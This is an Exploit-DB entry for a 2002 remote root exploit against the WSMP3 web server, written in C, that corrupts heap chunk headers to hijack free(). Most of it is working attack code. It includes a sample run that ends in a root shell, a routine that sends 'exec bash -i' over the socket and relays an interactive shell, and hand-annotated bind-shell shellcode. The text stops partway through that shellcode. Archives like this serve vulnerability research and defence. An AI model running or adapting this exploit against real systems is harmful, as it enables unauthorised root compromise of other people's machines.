Exploit-DB #22035
Description: WSMP3 0.0.1/0.0.2 - Remote Heap Corruption (2)
Type: remote
Platform: linux
Date: 2002-11-25
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/6240/info
 
A remotely exploitable heap corruption vulnerability has been reported for WSMP3.
 
Due to insufficient bounds checking of user-supplied input, it is possible for a remote attacker to corrupt heap memory. By corrupting allocated memory headers, it is possible to redirect program flow when the free() function is called.
 
Successful exploitation of this issue may result in remote execution of arbitrary code with root privileges.


/*
**
** Proof of Concept WSMP3 Remote root exploit
**                               by Xpl017Elz
** __
** Testing exploit:
**
** bash$ ./0x82-Remote.wsmp3xpl -h localhost -p 8000
**
**  Proof of Concept WSMP3 Remote root exploit
**                                by Xpl017Elz
**
**  Try `./0x82-Remote.wsmp3xpl -?' for more information.
**
**  [1] Make fake chunk.
**  [2] Make shellcode.
**  [3] Send exploit (bindshell) code.
**  [4] Waiting, executes the shell !
**  [5] Trying localhost:36864 ...
**  [6] Connected to localhost:36864 !
**
**  [*] Executed shell successfully !
**
** Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** bash#
**
** GOT malloc address:
**
** bash$ objdump --dynamic-reloc web_server | grep malloc
** 08051bac R_386_JUMP_SLOT   malloc
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>

#define HOST "localhost"
#define PORT 8000

struct op_st
{
    int num;
    char *os;
    unsigned long retloc;
    unsigned long stkaddr;
    unsigned long retaddr;
}; /* only test */
struct op_st pl_form[]={
    {
		 0,
		 "RedHat Linux",
		 /* malloc */
		 0x08051bac,
		 /* stack address */
		 0xbfff7d18,
		 /* heap address */
		 0x0805b062
    }
};

int setsock(char *hostname,int port);
void getshell(int sock);
void re_conenter(int sock);
void banrl(char *args);
void usage(char *args);

int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *sxp;
    struct sockaddr_in sxp_addr;

    if((sxp=gethostbyname(hostname))==NULL)
    {
		 herror("gethostbyname() error");
		 return(-1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
		 perror("socket() error");
		 return(-1);
    }

    sxp_addr.sin_family=AF_INET;
    sxp_addr.sin_port=htons(port);
    sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
    bzero(&(sxp_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==-1)
    {
		 perror("connect() error");
		 return(-1);
    }

    return(sock);
}

void getshell(int sock)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
    char readbuf[1024];
    fd_set rset;

    memset(readbuf,0x00,1024);

    fprintf(stdout," [*] Executed shell successfully !\n\n");
    send(sock,command,strlen(command),0);

    for(;;)
    {
		 fflush(stdout);
		 FD_ZERO(&rset);
		 FD_SET(sock,&rset);
		 FD_SET(STDIN_FILENO,&rset);
		 select(sock+1,&rset,NULL,NULL,NULL);

		 if(FD_ISSET(sock,&rset))
		 {
		     died=read(sock,readbuf,1024);
		     if(died<=0)
		     {
		 		 exit(0);
		     }
		     readbuf[died]=0;
		     printf("%s",readbuf);
		 }
		 if(FD_ISSET(STDIN_FILENO,&rset))
		 {
		     died=read(STDIN_FILENO,readbuf,1024);
		     if(died>0)
		     {
		 		 readbuf[died]=0;
		 		 write(sock,readbuf,died);
		     }
		 }
    }
    return;
}

void re_conenter(int sock)
{
    if(sock==-1)
    {
		 fprintf(stdout," [-] Failed.\n\n");
		 fprintf(stdout," Happy Exploit ! :-)\n\n");
		 exit(-1);
    }
}

int main(int argc,char *argv[])
{
    int at_sock;
    int ts_sock;
    int port=PORT;
    int roup;
    char ttatk_code[36864];
    char hostname[0x82]=HOST;
    char main_str[] = /* BIND SHELL ON PORT TCP/36864  */
		 //------------------- main: -------------------//
		 "\xeb\x72"                        /* jmp callz */
		 //------------------- start: ------------------//
		 "\x5e"                            /* popl %esi */
		 //------------------ socket() -----------------//
		 "\x29\xc0"                  /* subl %eax, %eax */
		 "\x89\x46\x10"        /* movl %eax, 0x10(%esi) */
		 "\x40"                            /* incl %eax */
		 "\x89\xc3"                  /* movl %eax, %ebx */
		 "\x89\x46\x0c"        /* movl %eax, 0x0c(%esi) */
		 "\x40"                            /* incl %eax */
		 "\x89\x46\x08"        /* movl %eax, 0x08(%esi) */
		 "\x8d\x4e\x08"        /* leal 0x08(%esi), %ecx */
		 "\xb0\x66"                  /* movb $0x66, %al */
		 "\xcd\x80"                        /* int $0x80 */
		 //------------------- bind() ------------------//
		 "\x43"                            /* incl %ebx */
		 "\xc6\x46\x10\x10"   /* movb $0x10, 0x10(%esi) */
		 "\x66\x89\x5e\x14"     /* movw %bx, 0x14(%esi) */
		 "\x88\x46\x08"         /* movb %al, 0x08(%esi) */
		 "\x29\xc0"                  /* subl %eax, %eax */
		 "\x89\xc2"                  /* movl %eax, %edx */
		 "\x89\x46\x18"        /* movl %eax, 0x18(%esi) */
		 "\xb0\x90"                  /* movb $0x90, %al */
		 "\x66\x89\x46\x16"     /* movw %ax, 0x16(%esi) */
		 "\x8d\x4e\x14"        /* leal 0x14(%esi), %ecx */
		 "\x89\x4e\x0c"        /* movl %ecx, 0x0c(%esi) */
		 "\x8d\x4e\x08"        /* leal 0x08(%esi), %ecx */
		 "\xb0\x66"                  /* movb $0x66, %al */
		 "\xcd\x80"                        /* int $0x80 */
		 //------------------ listen() -----------------//
		 "\x89\x5e\x0c"        /* movl %ebx, 0x0c(%esi) */
		 "\x43"                            /* incl %ebx */
		 "\x43"                            /* incl %ebx */
		 "\xb0\x66"